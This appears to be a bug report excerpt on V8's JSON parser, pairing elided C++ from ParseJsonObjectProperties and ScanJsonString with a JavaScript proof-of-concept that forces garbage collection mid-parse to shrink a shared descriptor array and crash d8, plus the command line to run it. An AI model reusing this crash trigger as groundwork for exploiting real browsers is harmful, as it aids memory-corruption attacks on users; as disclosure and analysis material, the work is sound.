template <typename Char>
template <DescriptorArray::FastIterableState fast_iterable_state>
bool JsonParser<Char>::ParseJsonObjectProperties(
    JsonContinuation* cont, MessageTemplate first_token_msg,
    Handle<DescriptorArray> descriptors) {
  using FastIterableState = DescriptorArray::FastIterableState;
  if constexpr (fast_iterable_state == FastIterableState::kJsonSlow) {
    ...
  } else {
    InternalIndex idx{0};
    do {
      EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false);
      first_token_msg = MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
      bool key_match;
      if constexpr (fast_iterable_state == FastIterableState::kJsonFast) {
        ...
      } else {    // Unknown
        // Parse a string from json as the field name.
        JsonString key = ScanJsonPropertyKey(cont);
        ...

        Tagged<Name> property_name = descriptors->GetKey(idx);
        bool is_slow = key.has_escape();
        // Check that the property is enumerable and located in field.
        PropertyDetails details = descriptors->GetDetails(idx);
        if (V8_UNLIKELY(details.IsDontEnum() ||
                        details.location() != PropertyLocation::kField)) {
          is_slow = true;
        }
        // Symbol property keys are slow.
        if (V8_UNLIKELY(IsSymbol(property_name))) {
          is_slow = true;
        }

        // Check if the field name in the JSON matches the property name in the descriptor array.
        key_match = false;
        if (V8_LIKELY(!is_slow)) {
          DisallowGarbageCollection no_gc;
          // Property key is known to be fast so far, so it is guaranteed to
          // be a string.
          Tagged<String> expected_key = Cast<String>(property_name);
          Tagged<Map> key_map = expected_key->map();
          if (InstanceTypeChecker::IsTwoByteString(key_map)) {
            // Two-byte keys are slow.
            is_slow = true;
          } else {
            const uint8_t* expected_chars = GetFastKeyChars(isolate_, expected_key, key_map, no_gc);
            const uint32_t key_length = expected_key->length();
            key_match = FastKeyMatch(expected_chars, key_length, key);
          }
        }

        if (V8_UNLIKELY(is_slow)) {
          descriptors->set_fast_iterable(FastIterableState::kJsonSlow);
        }

       if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false;

        if (V8_UNLIKELY(is_slow || !key_match)) {
            ...
        }
        ++idx;
      }
    } while (idx < InternalIndex(descriptors->number_of_descriptors()) && Check<JsonToken::COMMA>());
    ...
  }

  return true;
}

template <typename Char>
JsonString JsonParser<Char>::ScanJsonString(bool needs_internalization) {
  DisallowGarbageCollection no_gc;
  ...

  while (true) {
    ...
    if (V8_UNLIKELY(is_at_end())) {
      AllowGarbageCollection allow_before_exception;
      ReportUnexpectedToken(JsonToken::ILLEGAL,
                            MessageTemplate::kJsonParseUnterminatedString);
      break;
    }
    ...
  }
  return JsonString();
}

// Incomplete JSON, JSON.parse() will throw an exception when handling `"B`
const jsonStr = `
[
    {
        "A": 0
    },
    {
        "A": 0,
        "B
`;

// prepare map transition: MapA --add-property(B)--> MapB
// MapA and MapB shared same descriptors
let o1 = {A: 0};    // own 1 entry
let o2 = {A: 0};    // own 2 entry
o2.B = 1;

// %DebugPrint(o1);

// clear reference, no objects use MapB, 
// so only one entry in MapA->descriptors is actually used, and it will shrink during GC.
o2 = null;

// trigger GC to shrink descriptors array in `ReportUnexpectedToken()`
%SetAllocationTimeout(-1, 5);

// trigger crash
try {
    JSON.parse(jsonStr);
} catch(e) {
}

./d8 \
    --allow-natives-syntax \
    --predictable \
    --predictable-gc-schedule \
    ./poc.js